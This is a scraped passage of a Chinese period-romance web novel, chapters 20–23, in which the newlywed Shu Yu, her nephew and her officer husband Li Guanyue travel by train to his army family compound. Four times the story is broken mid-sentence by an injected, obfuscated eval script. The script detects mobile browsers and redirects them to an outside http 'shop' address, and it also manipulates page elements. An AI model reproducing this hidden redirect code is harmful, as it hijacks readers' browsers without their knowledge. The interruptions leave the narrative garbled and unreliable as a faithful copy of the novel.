舒瑜弯了弯眼睛:“好啊。” 三个人拍照,他们每个人都非常自然,可只有舒瑜和厉关岳两个人站在一起时,他们周身的气氛却悄然改变,两个人都有些许不自然。 “那位男同志,往你爱人那边靠一点。”他冲厉关岳招手,“再近点,太远了拍出来不好看。” 厉关岳依言往舒瑜那边挪了小半步。 “还是远,你们是夫妻,又不是陌生人,怕什么?”老师傅有些不耐烦了,“近一点,再近一点。” 眼看他们就要肩膀怼上对方了,舒瑜和厉关岳同时扭头,视线撞在一起。 舒瑜眨了眨眼,有些不好意思地摸了摸鼻尖,转回去看向镜头的同时伸出了手,挽住厉关岳的胳膊。 一瞬间,厉关岳的手臂上传来了不属于自己的温度,温热而柔软,他的手臂不自觉轻抖了一下,面上神色未变,依旧目视前方。 老师傅终于满意了:“好,就这样,别动,再笑一笑。” “咔嚓”一声,画面定格。 “可以了。”老师傅说,“照片五天洗好。” 舒瑜闻言,自然地松开了挽着厉关岳的手。 温暖源离去,他手臂上的属于她的温度不一会儿就散了,厉关岳那修长的手指微曲了两下。 “走吧。”厉关岳留下地址,请老师傅代寄,他已经拖许志刚买好了火车票,下午他们就要离开这里了。 “我约了老许吃饭。”厉关岳说,“他帮了我们不少忙。” 舒瑜点点头,牵起因拍了照片而兴奋得脸颊微红的舒明淮。 国营饭店里,许志刚已经提前到了,正坐在靠窗的位子上等着,见他们进来,他站起身,目光先落在舒明淮身上,停留了好一会儿。 “这就是明淮?”他弯下腰,仔细端详着舒明淮的脸,那眼神里带着几分恍惚和感慨,说话的声音都放轻了许多,“好小子。” 舒明淮被他看得有些不好意思,往舒瑜腿边靠了靠,小声叫了一句:“许叔叔好。” “哎,好好好。”许志刚直起身,招呼大家坐下。 菜上齐后,许志刚问道:“对了,你俩那证办下来了没?” 厉关岳:“刚拿到。” 许志刚哈哈大笑起来,一巴掌拍在厉关岳肩上:“没想到卫华的妹子,最后倒便宜了你小子!”他摇着头,一脸感慨,“卫华要是知道了,非找你拼命不可。” 舒瑜抿着唇笑了笑,没说话。 厉关岳无奈地瞥他一眼,嘴上也不客气:“卫华最放心我。” “哟嗬,你小子还得意上了?”许志刚撇撇嘴,但眼底的笑意藏不住,“不过话说回来,你是该得意,这好不容易娶上媳妇了,可得对人家好点。” 厉关岳:“我知道,你放心。” 他说着,拿起筷子,夹了一筷子离舒瑜和舒明淮稍远的烧茄子,先放到他们碗里。 舒瑜低头看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190569|196725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着碗里那几块软趴趴的茄子,眼皮跳了一下。 舒瑜不爱吃这个,她总觉得茄子软塌塌的,口感不好,可犹豫了几秒,她还是夹起来,送进嘴里。 舒明淮倒是不挑,他吃得正高兴:“谢谢厉叔叔!” 舒瑜看他一眼,也笑着开口:“谢谢厉……” 话到嘴边,忽然卡住了。 他们这关系,她应该怎么称呼他啊? 没经验的舒瑜停顿了一下,最后还是道:“谢谢厉同志。” 听着有几分生疏。 好在许志刚正兴致勃勃地和厉关岳聊着部队里的旧事,没注意她对他的称呼。 倒是厉关岳,一边应着许志刚的话,一边分神看了她一眼,淡淡的眼神,看不出什么情绪。 舒瑜没在意,也不去插话打扰他们。 许志刚喝了口酒:“你这一结婚,老赵可算是卸下一桩心头大事喽。”老赵指的是他们部队的赵师长。 厉关岳闻言,想起前两天给组织打电话提出结婚申请,电话那头老赵的反应,无奈地笑了一下。 赵师长先是愣了几秒,像是怀疑自己听错了,反复确认了好几遍,最后听说对象是卫华的妹妹,更是高兴得大声叫好。 舒瑜作为烈士家属,政审本就快,再加上赵师长的配合,他们才那么快就能登记领证。 “老赵是高兴。”厉关岳淡淡应了一句,他家里人估计更加高兴。 但他绝不是为了让别人高兴而妥协结婚。 吃完饭,三人从国营饭店出来,许志刚一路把他们送到火车站。 站前广场上人来人往,挑着担子扛着包袱的、抱着孩子的。 许志刚停下脚步,他知道舒瑜的不容易:“妹子,以后跟老厉好好过,他这人靠谱的。” 舒瑜认真地点了点头,又郑重地道了声谢:“许大哥,这几天麻烦你了。” 许志刚摆摆手,没再多说什么。 车厢里人不多,他们找到铺位,是一侧的上下铺和另一侧的下铺。 舒瑜让舒明淮躺了下铺,自己坐在床边休息,厉关岳则坐在对面下铺。 卧铺比硬座环境好,也安全许多,舒瑜手抚上自己外套的一侧,手掌下是她缝在里面的钱包。 她摸着里面她爹留给她的钱和明淮的抚恤金,心里安定不少。 舒瑜的视线扫过对面闭目养神的厉关岳,这个未来要与她共同生活的丈夫。 舒明淮躺在铺上,新奇地摸摸身下的褥子,又探头看看窗外,小声问:“小姑,火车要开了吗?” “嗯。” 那个熟悉的村子,一点点被甩在身后。 舒明淮趴在窗边,眼睛睁得大大的,看着外面飞速掠过的景色,舍不得眨眼。 火车哐当哐当地向前开着,载着他们,驶向一个完全陌生的地方。 20. 第二十章 火车卧铺的包厢内。 舒瑜把随身带的包袱打开,从里面抽出一条小毯子。 包袱不大,她和舒明淮的东西加起来也没多少,一大部分还是厉关岳给买的那些。 钱都好好放在身上,她爹留了一百二,明淮的抚恤金六百五,这笔钱可不能动。 还有她走之前,从陈丽云手里拿回抚恤金后,又把自己房里那些被陈丽云拿走的衣服杂物清算了一遍。 她嫌东西被陈丽云碰过晦气,硬是让陈丽云折合成钱给她。 到手五块钱。 这年头五块钱可不是小数目,至少舒瑜是心满意足了。 一想到陈丽云那张敢怒不敢言的憋屈脸,舒瑜忍不住晃了晃脑袋,得意地勾起嘴角。 哼,她就是那么小心眼。 要让讨厌的人占了自己一点便宜,她怕是得懊悔好久。 舒明淮趴在床上捧着本连环画,看着看着,他的小脑袋一点一点地往下栽,没一会儿就睡着了。 舒瑜轻手轻脚地给他盖上毯子。 她自己也有些困了,打了个哈欠,站起来准备往上铺爬。 “舒瑜。”厉关岳忽然开口,“你睡下面吧。” 舒瑜停下动作,她确实懒得爬上爬下,便点点头:“好。” 她扶住厉关岳坐着的那张床,弯腰脱了鞋,脚抬起来的时候,厉关岳余光瞥到,目光猛得一滞。 舒瑜脚上的袜子,一只蓝色,一只褐色。 两只袜子上都有补丁,针脚细密整齐,是舒瑜装傻的时候躲开明淮偷偷补上的,一只脚趾露在袜子外面实在难受。 另外两只好的早被陈丽云拿走了,就给她留下两只有破洞的,舒瑜缝补的时候还一边骂陈丽云简直雁过拔毛,连袜子也要拿。 此刻,厉关岳盯着她套着两只颜色迥异袜子的双足,她个头和他比起来矮了不少,脚也小,好像比他的手掌还小上一圈。 不,重点是…… 厉关岳忍了又忍,最后还是没忍住:“袜子,还是穿一样颜色的好。” 还有舒瑜的头绳,他买的时候只是不知道舒瑜喜欢什么颜色,便每样拿了一条。 可他没想到舒瑜会梳两条辫子,不一致的颜色让厉关岳一整天心里都痒痒的难受,总是不受控制地看她。 但那是自己买的,是他没考虑周到,就不好意思说什么,所以看到袜子,厉关岳便忍不住开口了。 舒瑜愣了一下,低头看看自己的脚,她翘起脚:“配对的袜子没有破,被陈丽云拿走了,就剩这两只。” 厉关岳沉默了一瞬,他原以为舒瑜那个大嫂只是刻薄了些,没想到连袜子都要抢,他还是小看了舒卫华大哥一家。 厉关岳:“到家了给你添置。”他们的房子已经安排下来了,只是还需要购置很多东西,只能慢慢来。 舒瑜脸红了一下,轻声应了句:“哦。” 说罢,她膝盖搭上床沿,往里爬去,裤脚因动作幅度往上抽了一截,露出脚踝。 那截脚踝细细的,白得有些晃眼,皮肤薄得能似乎看见底下隐隐的淡青色的血管,踝骨伶仃,线条流畅却脆弱,仿佛稍一用力就能折断。 两只袜子都松松垮垮地挂在脚上,袜口勒不住那细瘦的骨节,堆出几道褶皱。 厉关岳皱眉。 太瘦了。 厉关岳从自己的包里拿出一件厚外套递给舒瑜:“晚上冷,盖这个吧。”他看舒瑜的行李只一条毯子盖在明淮身上,连件厚点的衣服都没有。 舒瑜接过:“谢谢你,厉同志,你真的帮了我们很多。” “不必道谢,”厉关岳侧过身,轻声道,“你是我的妻子。” 还是个年轻的小妻子,他比她大了那么多,即使没有感情,再怎么对她好也不为过的。 “还有,不用叫我‘厉同志’那么客气。” 舒瑜侧躺着,手臂撑着脑袋,歪着头面对着他:“那该叫你什么?” 厉关岳回忆部队里娶了媳妇的人,他们都是怎么互相称呼的,有叫“孩他爹”的,有叫“老陈老张”的,还有“当家的”。 他试着把自己和舒瑜代进去,总觉不自在,不太适合他和舒瑜。 厉关岳一时间想不到,迟疑着没有回答。 舒瑜见他不说话,把手里那件大外套展开,让自己藏在里面,外套领口挡住了她微红的半张脸,只露出一双莹润的眼睛在外面。 她声音闷闷地隔着衣服传出来:“你和我三哥谁大啊?” 厉关岳认真想了想:“卫华比我大三个月。” “噢。”舒瑜眨眨眼,“那我叫你五哥吧。” “不应该排第四吗?” 舒瑜解释:“我还有个堂哥,在家里排第四。” “是你们那个入赘出去的小叔的儿子?”厉关岳记忆力一向很好,很快从舒卫华那些絮絮叨叨的家常里翻出了这人。 舒瑜惊奇地睁大眼睛:“三哥连这都告诉你啊?”她扁着嘴低声说,“那看来我家里的事你都知道得清清楚楚了。” 她躲在厉关岳的衣服下嘀嘀咕咕:“不公平。”她对他家里倒是一无所知。 舒瑜意识到自己心还挺大,什么都不知道就和他领了证。 不过舒瑜觉得这也不能怪她,厉关岳可是书里认证的大佬,前途无量不说,人又长得那么好看,这不纯纯勾引她吗? 厉关岳忽然就笑了,他不知道舒瑜在想些什么,只垂眼看着她那颗缩在外套里的脑袋,心里莫名生出一点想摸摸她头发的冲动。 “我家里人也多。”他温声道,“以后有的是时间,慢慢告诉你。” “就这么叫吧。”厉关岳起身,三两下爬上了上铺,“好好休息。” 火车中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195637|196725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 途停靠了一个小站,停了一会儿才慢慢启动。 包厢门被推开,进来一个戴着眼镜的中年男人,穿着中山装,看着文质彬彬的,看着挺有文化人的气质。 舒瑜正迷迷糊糊地睡着,隐约听见动静,眯着眼睛看了一眼,见是个陌生面孔,也没在意,翻个身又睡过去了,男人爬上对面明淮的上铺,放好行李,便没了声响。 到了晚饭时间,厉关岳看了眼还在熟睡的舒瑜,对已经醒了的舒明淮低声说道:“叔叔去买饭,有事就叫醒你姑,别乱跑” 舒明淮点点头:“嗯。” 厉关岳出去一趟,端了三份盒饭回来,饭盒摞在一起,还冒着腾腾的热气,他把饭盒放在中间的小桌上。 舒瑜还没醒。 厉关岳弯下腰,凑近了些,他低低叫了一声:“舒瑜,醒醒,吃饭了。” 舒瑜迷迷蒙蒙地睁开眼,脑袋昏沉沉的,一时分不清自己在哪,厉关岳的声音低沉,带着点磁性的尾音,像是从很远的地方飘进她的耳朵。 舒瑜撑着坐起来,软绵绵地坐在床边,还没完全清醒,厉关岳见她精神不好,便帮她打开一盒盒饭,递到她手边:“先吃饭。” “谢谢五哥。”舒瑜接过,慢吞吞地开始吃,饭菜还挺香,但她估计自己是晕车了,食欲不是很好。 对面上铺那个男人不知什么时候探出头来,把这一幕看在眼里,他推了推眼镜,止不住地摇头,不赞同道:“这么大了还要哥哥照顾,真不懂事。” 没人理他。 他见那兄妹俩没反应,又放大声音:“兄弟,不是我说,怎么能这样惯着这丫头片子的,这不把人惯出一身臭毛病?” “你应该让她去给你们买饭啊,哪有男人抢着干活的。” 他实在是看不下去这人堂堂一个大男人,竟然在这“服侍”一个女人吃饭。 这不是给他们男人丢脸吗? 他撇撇嘴:“要在我家里,早就被嫌弃死了,嫁都嫁不出去” 厉关岳猛地转头,目光森冷,笑意全无。 孙旭阳被他眼神一扫,讪讪地住了嘴,缩回了脑袋,嘴里还小声嘀咕着:“不识好人心。” 舒瑜嘴里含着饭,慢吞吞嚼着,脑袋昏沉归昏沉,她耳朵可没聋。 哪来的中登多管闲事! 她抬起眼皮,往对面上铺瞟了一眼,只觉得这人真是吃饱了撑的没事干。 烦。 舒瑜咽下嘴里的饭,软绵绵地开口:“长得丑还爱管闲事,出门不怕被人打吗?” “真同情你姐姐妹妹们,要被你这只蚂蟥吸血。”舒瑜叹气,同情是真的同情,她也知道这种人社会上其实多的很。 孙旭阳被舒瑜的话气的只粗声喘气,可他一想到厉关岳高大的身形和冷厉的眼神,便不敢多说什么。 最后,他只翻了个身,没了动静。 21. 第二十一章 用完盒饭,舒瑜见孙旭阳安分下去,便没再正眼看他一下,厉关岳把三个空饭盒摞在一起,端出去还了。 舒瑜靠在床边,揉了揉发胀的太阳穴,深吸一口气,试图缓解一点晕车的不适。 她在现代也是容易晕车的体质,汽车公交火车,就没有她不晕的,小电驴和三轮车才是她的梦中情车。 这么多年下来她也习惯了,忍一忍过去就行,可这回不知是不是身子太虚的缘故,她感觉格外难受。 舒明淮见他小姑这副蔫蔫的模样,连心爱的连环画也不看了,翻身下床,凑到她身边,一双黑亮的眼睛担忧地望着她。 舒瑜拍拍他的脑袋,挤出一个笑:“没事,小姑休息一下就好。” 话音刚落,她胃里忽然一阵翻涌,舒瑜飞快捂住嘴,干呕了一下。 “小姑!”舒明淮吓了一跳。 对面上铺的孙旭阳试探着往下瞄了一眼,见厉关岳不在,他撇撇嘴,阴阳怪气地开口:“哎哎哎,你可别吐出来啊,恶心死人了。” 舒瑜缓过那阵劲儿,抬起头,脸色有些白,气势却一点不弱,她拧着眉看向孙旭阳,语气认真:“我要吐了,也是被你的嘴臭熏的。” 她装得确有其事:“说真的,没人告诉过你,你一开口说话,味儿就飘出来了。” 孙旭阳一直自傲于自己的高中学历,自诩是个体面人,被舒瑜这么一说,脸瞬间涨得通红:“你、你胡说什么!” 他下意识低下头,往自己手心里哈了口气。 舒瑜见状,又捂住嘴干呕了两下,这回纯是演的。 “明淮,你闻到了吗?” “好臭!” 舒明淮眨了眨眼。 他什么味儿都没闻到,可小姑既然这么说了,那一定是有味道的。 舒明淮配合地捂住鼻子,小脸皱成一团:“有,小姑,好臭啊!” 孙旭阳看看舒瑜,又看看那个一脸认真的小孩,心里忽然有些发慌,他回忆自己平时和同学说话,好像、好像大家是不怎么爱搭理他。 难道真是他嘴臭? 孙旭阳陷入了深深的自我怀疑。 厉关岳端着杯热水回来,看见的就是这么一副场景,舒瑜靠在床边,脸色不太好,靠在旁边,上铺那人缩成一团,把脸埋在臂弯里,不知在干什么。 他在舒瑜身边坐下,把水递过去:“喝点水缓缓。” 舒瑜接过抿了一口:“五哥,你也闻到那个人身上的臭味了吧?”说着,舒瑜悄悄朝他一笑,挑了下眉暗示他。 厉关岳:“……嗯。” 对面上铺的那一坨又往角落里缩了缩。 舒瑜低下头,差点没忍住笑出声来,她嘴角悄悄弯起,又飞快压下去做正经状。 她捧着杯子,小口小口地喝水。 车厢里安静下来。 坐了一会儿,舒瑜又躺回卧铺上,顺手把厉关岳那件外套捞过来抱住,又把脸埋进去。 舒瑜深深地吸了一口气,一个顶级过肺,那清爽干净的气息便浸没了她全身。 舒瑜像是被什么东西包裹起来,一时间感觉自己舒服了些许。 厉关岳眼睁睁看着自己常穿的那件外套被她紧紧抱在怀里,他的衣物与舒瑜细瘦的手臂纠缠在一起,心跳突然漏了一拍。 他没说话,抿了抿唇不去看她,起身爬回了上铺。 厉关岳仰躺着,看着车顶,一时不知在想些什么。 …… 第二天上午,火车到达了目的地,也就是这是厉关岳部队所在的县城。 火车停稳,车门打开,人流开始涌动,站台上人来人往,扛着大包小包的人挤成一团。 厉关岳背上包,一手把舒明淮抱起来,侧头对舒瑜道:“跟紧我。” 舒瑜点点头,一手抱着自己的包袱,听话地紧跟在他身后往下走。 可人实在太多,她刚下火车,就被身后的人撞了一下,整个人脚步不稳地往前踉跄了一步,下意识就伸手抓住了厉关岳的手臂。 厉关岳脚步一顿,回头看她。 舒瑜对上他的目光,连忙松开手,尴尬地往后缩了缩。 下一秒,厉关岳长臂一伸,直接把她揽进了臂弯里。 他手臂很有力,扣在她肩侧,带着她稳稳地往前走,舒瑜被圈在他身侧,几乎是被他半拎着带出了人群。 好在周围人挤人的,根本没人注意到他们。 到了稍微开阔些的地方,厉关岳便立即松开了手臂,放下舒明淮,神色如常道:“走吧,去搭车。” 舒瑜“哦”了一声,拉上舒明淮,跟了上去。 公交车摇摇晃晃地开了半个多小时。 舒瑜靠在窗边,脸色越来越白,一路强忍着没吐出来,好不容易到了地方,车一停,她几乎是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可不知为什么,每次面对厉关岳,李成心里总有一股隐隐的畏惧,就算厉团长笑着跟他说话,他也从不敢有丝毫懈怠,说话做事都绷着一根弦。 22. 第二十二章 “嫂子,到了。” 李成停好车,回头提醒了一句。 舒瑜应声,带着舒明淮下了车,她脚踩在地上,晕车的漂浮感还没完全散去,只能扶着车门站了一会儿,才缓过劲来。 “嫂子,行李就这些吗?”李成疑惑地问。 他们这每年随军的家属,哪个不是大包小包的,恨不得把家都搬来,嫂子的东西,也太少了些。 舒瑜提起包,笑了笑:“就这些。” 李成连忙上前接过:“我来我来。” 舒瑜没拒绝,她现在浑身软绵绵的,实在没什么力气:“谢谢了。” 李成背着包,带着舒瑜和舒明淮穿过几排平房,舒瑜边走边打量,这一大片都是部队的家属院,每栋房子都是统一制式的平房,空间不算小,家家户户门前都有个小院子,院子里辟出一块地种着菜,看着挺有生活气。 李成向右拐进一排房屋,回头道:“嫂子,你们屋子在最里面呢。”他指了指前方,“这把边户都挺不错的,靠墙那侧有片空地,比中间的宽敞些。” 舒瑜点点头,心里觉得是挺好,特别是只邻着一户人家,清净许多,她不是那种很会招呼别人打好关系的人,人际交往对她来说虽不难,但也不热衷。 还是清净点好。 走到最里面,果然如李成所说,屋子前的小院加上侧面的空地,看着确实敞亮。 推开院门,他们进了屋。 前厅空空旷旷的,只有一张四四方方的木桌和两张长凳,但并没有舒瑜预想中的灰尘扑面,反而干净得很,一看就是提前打扫过的。 她有些意外,转头看向李成:“小李同志,这屋子提前打扫过?” 李成摸了摸后脑勺,爽朗地笑了:“我带着团里的几个兄弟来打扫过一回,可能还有些边角没弄干净,嫂子别介意。” 舒瑜心里一暖,惊喜道:“太谢谢你们了,弄得真干净,我都不知道该怎么感谢了。” 坐车时,舒瑜因晕车难受,一直安静坐着,周身冷冷清清,面上气色也不好,像一张精致的白瓷器,李成都不敢大声说话,怕把人碰碎了。 可此时,舒瑜面上溢着笑,感激的话真心满满,李成心里也高兴起来,他摆摆手:“嫂子别客气,都是应该的。” “哪有什么应该。”舒瑜认真道,“你们这份心,我和你们厉团长都感激的。” 她说着,从包里翻出一包饼干,递到李成面前,是出发之前在供销社买的抢手货,路上他们吃了两包,奶香味十足。 李成连连推辞:“嫂子,这可使不得,咱就是顺手的事儿……” “收下吧。”舒瑜笑着把饼干塞到他手里,“今天辛苦你了,跑前跑后的,一点心意,别推了。” 李成推不过,只好收下,麦色的脸都透出红色:“那就谢谢嫂子了。” 他又叮嘱了几句有事随时找他,这才转身离开。 舒瑜目送他走远,关上门,舒了口气。 “小姑。”一直安安静静跟在旁边的舒明淮开口了,声音轻轻的,带着小心翼翼的期待,“这里以后就是我们的家了吗?” 舒瑜低头看他,笑了,她温声道:“对呀,以后这里就是咱们的家了。”她蹲下,扶住他的双肩,“现在家里还空空的,咱们一起慢慢把它填满,好不好?” “嗯!”舒明淮笑起来,用力点头。 舒瑜牵起他的手,开始在屋里四处转悠。 厨房在右侧边,窗户外就是那片靠墙的空地,光线不错。 穿过前厅,一左一右两间屋子,左边那间更大些,应该是主卧,右边那间稍小,隔壁就是卫生间,这也是让舒瑜最惊喜的地方。 这可是独立卫生间,比起老家的旱厕,那真是一个天一个地。 她推开卫生间的门往里看了看,里头不大,但该有的都有,舒瑜心满意足:“真不错。” 再往里边,还有个小小的储物间。 舒明淮跟在她身后,摸摸白灰粉刷的白墙,又踮脚试图趴上窗户,舒瑜看着他脸上的欢喜,心里软成一片。 舒瑜环顾四周,从今往后,这就是他们的家了。 …… 屋里没有钟表,舒瑜也不知道现在是什么时候了,她本来想去卧室休息一会儿,可走到两间屋子中间,又犹豫了。 左边那这间大的,晚上是她和厉关岳住,还是明淮跟厉关岳住? 她站在门口犹豫片刻,最后还是转身回了前厅。 算了,等厉关岳回来看他安排吧。反正不管怎么住,她才不主动开口,这样谁也看不透她的心思,她才有安全感。 “明淮,我们在这休息一会吧。”舒瑜趴在木桌上,脑袋枕着手臂,迷迷糊糊又等了一会儿。 门被推开了。 厉关岳迈着长腿走进来,一眼就看见趴在桌上的人,他脚步顿了顿:“怎么不去房里休息?” 舒瑜抬起头,揉了揉眼睛:“等你回来呢。” 厉关岳心口莫名一跳,他没说话,只是把手里的东西放到桌上。 “饿了吗?”他打开饭盒,里头的饭菜还冒着热气,“先吃饭吧。” 舒瑜点点头,招呼舒明淮过来,她和明淮做一边,厉关岳在对面,三人围着桌子吃饭,好像顿时就有家的氛围了。 舒明淮扒着饭,眼睛却不时看看舒瑜,又看看厉关岳,嘴角悄悄弯起来。 “这饭菜是食堂打的吗?”舒瑜问。 厉关岳点点头:“嗯,离家属院不远。” “噢噢。”舒瑜应了一声,随即不好意思地开口,“五哥,我不太会做饭,以后家里……”她垂着眼睛,似愧疚忧心状。 厉关岳:“没事,你们可以去食堂吃。”他好像浑然不在意舒瑜说的不会做饭。 见此,舒瑜抬眼看他,故意笑着问:“我还以为你会嫌我不够贤惠呢。” 这话带着隐隐的试探。 厉关岳放下筷子,开始端详她,目光从上到下,不紧不慢,看得舒瑜满脸问号。 半晌,他才笑着反问:“不够贤惠?” 他刻意在“不够”两个字上加了重音。 舒瑜愣了一顺,随即反应过来,气得瞪圆了眼睛:“你什么意思,是说我一点都不贤惠吗?” 厉关岳见她一副炸毛的样子,眼里闪过几分笑意,收起了逗弄的心思,认真道:“又不是什么重要的事。” “不会做饭就去食堂,你们能照顾好自己,每天知道填饱肚子就行。” 舒瑜皱了下鼻子,小声嘟囔:“我哪有那么不靠谱。”还只要他们知道吃饱饭就行。 厉关岳看着她,声音轻了些:“我娶你,是想你们能过得好。” 仅此而已。 舒瑜怔住了,她低下头,夹了口菜吃,不敢看他。 这个回答她还挺满意的,不过舒瑜心里也打定主意,等安顿下来,还是要学几个简单的菜,总不能真的什么都靠食堂。 厉关岳主动换了话题:“师长给我批了一天假,让我先把你们安顿好,明天一起去趟县里,家里还得添置些东西。” 舒瑜:“好。” “对了,差点忘了说,咱们家里多亏小李同志他们帮忙打扫。” 厉关岳若有所思,点头:“我知道了。” 吃完饭,厉关岳把饭盒收了。 他自然地去主卧看了一眼,好一会儿,出来对舒瑜道:“被子都铺好了,你先休息吧,我带明淮去那边屋里看看。” 舒瑜没想到他就一句话解决了自己白天的纠结,愣愣地听他话进了屋,看到床上 她没说什么,转身进了主卧,看到床上整整齐齐的两床被子,松了一口气的同时心里又有些怪怪的。 次卧里,厉关岳站在床边,低头问舒明淮:“晚上一个人睡,怕吗?” 舒明淮摇摇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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舒瑜回头,起身:“什么?” “彩礼。” “这一千彩礼你自己收好。”厉关岳把钱放到她手上,“这五百当做家用,你们需要什么就买。” “另外,这个存折给你收着,里面还有三千,是我们家的存款。” 舒瑜听傻了,她震惊地望着厉关岳。 一是惊讶于厉关岳竟然这么有钱,二是这人竟然把这么一大笔钱全给她了! 舒瑜压着笑意,不好意思地接了过来:“我会保管好的。” 嘿嘿,她有钱了。 彩礼那一千她就不客气了,其他的她虽然不会乱用,但这么一大笔钱在身,简直安全感满满。 此时,舒瑜再看厉关岳,只觉得这个男人浑身金光闪闪,更加帅气逼人,直戳她的心。 “睡吧。”厉关岳等舒瑜把东西放好,关灯上床。 两人各睡一边,泾渭分明。 舒瑜闭上眼睛,身体的疲惫让她很快睡去。 黑暗中,厉关岳超舒瑜那边微微侧头,过了一会儿,他收回视线,也闭上了眼睛。 半夜,厉关岳猛地睁开眼睛,他伸手往下,抓住贴在他膝盖外侧的舒瑜的脚腕,入手的细腻和冰凉让他眉心一跳。 正值早春,晚上必白天冷多了,舒瑜缩在被子里,整个人蜷缩着,似是在努力保温取暖,她的双脚无意识地探出了自己的被子,钻到了厉关岳那边。 她的被窝存不住一点温度,可厉关岳那边却火热不已,舒瑜的脚就这样贴上了人家的膝盖,直接把对方冷醒了。 厉关岳修长的手指扣在她的脚踝上,忽然想到昨天在火车上目测的她的脚的大小,这么一比,确实比他的手掌要小。 厉关岳拇指不自觉揉了一下舒瑜的踝骨,意识到自己做了什么,厉关岳回神,松开手,他抬高被子一边,宽大的被子罩住了一旁的舒瑜。 舒瑜在睡梦中感受到了温暖,慢慢地朝厉关岳的被窝挪动。 厉关岳压好被子。 他告诉自己,身旁的人是他的妻子,夫妻用一床被子,很正常。 23. 第二十三章 第二天,多年养成的习惯让厉关岳早早醒来,可今天,他却没能像往常那样利落起身。 旁边,舒瑜的被子不知什么时候不见了,他估计是掉到了地上。 此刻,两人正同盖着一床被子,兴许是足够暖和,舒瑜蜷缩的身体完全放松下来,只微微曲着腿,整个人紧贴着他,两只胳膊紧紧缠着他的右手臂。 肉贴肉的温度传过来。 两人离得太近,近到他能闻到她身上轻轻浅浅的香气,不知是皂角还是别的什么,渗透了整个被窝,萦绕在他的鼻端。 厉关岳闭上眼,左手握成拳,微微侧过头,似是想离她远一些,他咬着牙,脖颈边隐隐有青色的脉络显现。 舒瑜却睡得香甜,全然不知身边人的忍耐,就像个小挂件一样挂在他身上,脸颊红扑扑,呼吸均匀绵长。 好一会儿,厉关岳偏头看了眼床头的手表,还不到七点,可对他来说,这已经不算早了,他打算先起来去食堂把早饭买回来。 厉关岳试着轻轻动了两下右手臂。 舒瑜一下子抱得更紧了,嘴里还含糊地嘟囔了一声,像是在不满被打扰睡梦。 厉关岳无奈,只能用左手去拉她的胳膊,动作间,盖到舒瑜肩膀的被子往下滑了些许。 舒瑜睡觉穿着一件白色的旧衬衣,上面的扣子不知道少了几颗,露出参差的线头,过大的领口歪斜着,露出一截白皙的肩头和分明的锁骨,衬衣袖子也胡乱卷着,堆在手肘处。 厉关岳没想到这衣服是这样的,来不及挪开视线,就触及她小臂上的黑色淤青,不禁一凝。 虽然知道舒瑜身上有打架弄的伤,几天过去,已淡了几分,可在她白皙的皮肤上依旧明显。 他头一次真切的看到,只觉得那淤痕刺眼不已,像一块无暇的白玉上,突然多了一道裂痕。 厉关岳抬手,动作放得更轻,慢慢挣开她,坐起,又伸手替她把滑落的被子拉好,一直盖到脖颈,才穿好衣服起身。 出门前不忘把舒瑜的被子捡起来掸了掸,放到自己那边。 没过多久,舒瑜揉揉眼睛醒了过来。 睁眼的第一个感觉是浑身暖烘烘的,好久没睡得这么舒服了,她昨晚好像还做了个梦,梦到自己在现代的家里,抱着她的阿贝贝,一只半人大的小熊玩偶睡得香喷喷。 舒瑜伸了个大大的懒腰,坐起来,这才发觉自己不知什么时候滚到了床中央,右手边空了一大块。 她愣了愣,心道:完了,昨晚肯定挤着大佬了。 也不知道人去哪儿了。 舒瑜愧疚了一秒,就美滋滋地起床,把她那件破衬衫换下来随手扔在床上,换好衣服,推门出去。 舒瑜洗漱完,便去敲隔壁舒明淮的门:“明淮,醒了吗?” 里头很快传来脚步声,门打开,舒明淮穿戴整齐地站在门口,头发还有些乱,但精神很好:“小姑,起了。” “去洗脸,咱们今天要出门。” “好。”舒明淮乖乖应了一声。 舒瑜推开大门,让阳光照进屋子,她走到门口,深吸了一口新鲜空气,舒服得全身毛孔都张开了一般。 别的不说,这时候的空气是真好啊,依稀带着草木的清甜,干净清新。 她仰起头看看蓝天,旁边忽然传来一个爽朗的大嗓门:“妹子,你就是厉团长他媳妇吧?” 舒瑜扭头望去,隔壁门口站着一个长相周正,眉眼开阔女人,三十来岁的模样,手里端着个搪瓷盆,正笑盈盈地看着她。 舒瑜连忙笑着应道:“是的,大姐你好,我们昨天刚搬来,我姓舒,叫舒瑜。” “哎呀,可算是见着真人了!”那女人把盆往地上一放,几步就走了过来,眼里带笑,“长得可真俊,难怪厉团长这么多年不找,原来是等着这么水灵的媳妇呢!” 太热情了。 舒瑜也走近几步,就和她隔着半人高的围墙说话。 大姐自报家门:“我叫吴小铃,看你年轻,叫我吴姐或者铃姐都行。” 